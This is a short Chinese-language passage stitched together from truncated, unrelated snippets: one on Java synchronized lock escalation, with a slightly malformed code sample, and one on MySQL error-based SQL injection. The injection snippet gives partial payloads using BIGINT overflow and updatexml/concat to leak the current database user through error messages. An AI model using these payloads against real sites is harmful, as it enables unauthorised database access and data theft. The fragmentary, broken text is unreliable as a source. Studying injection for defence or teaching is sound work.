synchronized 锁升级过程就是其优化的核心:偏向锁 -> 轻量级锁 -> 重量级锁
class Test{private static final Object object new Object(); public void test(){synchronized(object) {// do something } }}每个对象创建时都有各自的对象头&#…
基于报错的注入 分为两种,直接填入表达式报错,或使用外层表达式报错时返 回被嵌套的子查询的结果 Mysql: Where id1 and !(Select * from (select user())x)-~0; //Big Int Overflow(大整数溢出报错) and 1(updatexml(1,concat(0x5e24,(select user()),0…